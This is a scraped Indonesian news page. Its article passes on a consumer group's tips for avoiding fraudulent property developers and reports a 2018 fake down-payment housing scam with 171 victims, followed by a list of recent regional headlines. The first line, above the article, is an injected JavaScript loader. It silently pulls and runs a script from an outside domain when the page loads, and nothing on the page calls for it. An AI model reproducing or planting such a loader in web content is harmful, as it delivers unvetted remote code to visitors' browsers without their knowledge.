(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Agar Tidak Tertipu Pengembang Nakal, Berikut Triknya!


Sejumlah kasus dugaan penipuan yang dilakukan oleh pengembang properti terhadap konsumen, terjadi beberapa kali di Indonesia. Menanggapi hal itu, staf Divisi Pengaduan dan Hukum Yayasan Lembaga Konsumen Indonesia (YLKI) Sularsi mengatakan, masyarakat konsumen wajib memperhatikan beberapa hal agar tidak menjadi korban penipuan pelaku yang berkedok pengembang. Pertama, yaitu mengetahui profil pengembang. Perlu dicari informasi mengenai siapa saja yang termasuk dalam manajemen dan karyawan pengembang itu. Hal berikutnya mengenai legalitas dari pengembang. Maksudnya, dokumen apa saja yang dimiliki sebagai bukti bahwa usaha yang dijalankan adalah resmi. “Misalnya sertifikat, izin mendirikan bangunan (IMB) dan pembangunan proyek, serta melihat isi dari Perjanjian Pengikatan Jual Beli (PPJB),” ujar Sularsi seperti diberitakan Kompas.com, Senin (17/12/2018).

Selain itu, konsumen harus memastikan pembayaran yang dilakukan langsung ke nomor rekening atas nama pengembang, bukan rekening pribadi, apalagi rekening tenaga pemasarannya. Dia menambahkan, dalam perkara hukum, suatu kasus penipuan terhadap konsumen seharusnya masuk ranah pidana. Namun, konsumen memiliki hak untuk melakukan gugatan secara perdata. “Meskipun melakukan pidana, pelaku usaha berkewajiban memenuhi tanggung jawab keperdataannya. Tanggung jawab itu berupa memberikan unit huniannya,” imbuh Sularsi. Diberitakan Kompas.com, Kamis (13/12/2018), sebanyak 171 orang menjadi korban penipuan berkedok uang muka rumah murah di Tangerang Selatan. Pelaku bernama John Sumanti yang mengaku sebagai Dirut PT Citra Cakrawala Kinasa menawarkan rumah seharga Rp 130 juta sampai Rp 160 juta kepada calon konsumen. Dua perumahan yang ditawarkan berlokasi di Desa Curug dan Desa Cidokom, Kabupaten Bogor, Jawa Barat. Ternyata perumahan itu bukan milik John, melainkan milik pengembang properti lain yang tidak ada hubungan dengannya. Setelah sempat kabur, pelaku ditangkap petugas kepolisian dan saat ini kasusnya diproses hukum. (kmps)

Reporter: Kmps
Editor: KK

Desy Arfianty

Recent Posts

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

2 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

2 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

6 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

6 jam ago

UMP dan UMK Kalimantan Barat 2026 Terendah se-Kalimantan, Cukup untuk Biaya Hidup?

Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More

7 jam ago

Daftar UMP 2026 Setiap Provinsi Indonesia Lengkap Beserta Kenaikannya!

Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More

7 jam ago

This website uses cookies.